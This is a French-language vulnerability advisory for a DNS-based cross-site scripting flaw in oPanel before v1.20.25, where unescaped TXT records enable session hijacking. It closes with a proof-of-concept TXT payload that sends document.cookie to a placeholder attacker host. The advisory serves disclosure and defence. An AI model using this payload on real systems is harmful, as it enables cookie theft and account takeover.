
oPanel Cross-Site Scripting (XSS) basé sur DNS et détournement de session
Une vulnérabilité de type Cross-Site Scripting (XSS) existe dans oPanel (versions antérieures à v1.20.25) en raison d'un traitement et d'un assainissement inappropriés des réponses DNS. Lorsque le panneau effectue une requête DNS (par exemple, pour récupérer des informations sur un domaine, vérifier la propagation DNS ou interroger des enregistrements TXT) auprès d'un serveur de noms contrôlé par un attaquant, il reflète les enregistrements DNS renvoyés directement dans l'interface web sans encodage HTML adéquat.
Un attaquant peut exploiter cette faille en configurant un serveur DNS malveillant pour répondre aux requêtes d'enregistrement TXT avec une charge utile JavaScript malveillante. Lorsqu'un utilisateur authentifié d'oPanel (tel qu'un administrateur) consulte la page où la réponse DNS est affichée, la charge utile est exécutée dans le contexte de sa session de navigateur.
Une exploitation réussie permet à un attaquant d'exécuter du JavaScript arbitraire dans le navigateur de la victime. Comme le démontre la preuve de concept, cela peut être utilisé pour voler des cookies d'authentification sensibles (document.cookie), conduisant à un détournement complet de session et à un accès administratif non autorisé à l'environnement oPanel.
L'exploitation nécessite que l'attaquant mette en place un serveur DNS malveillant et un écouteur HTTP pour capturer les données exfiltrées.
L'attaquant exécute un serveur DNS malveillant sur le port UDP 53 configuré pour répondre à toute requête TXT avec une charge utile XSS.
Charge utile d'enregistrement TXT malveillante :
<script>new Image().src='http://<ATTACKER_IP>:<HTTP_PORT>/log?cookie='+document.cookie;</script>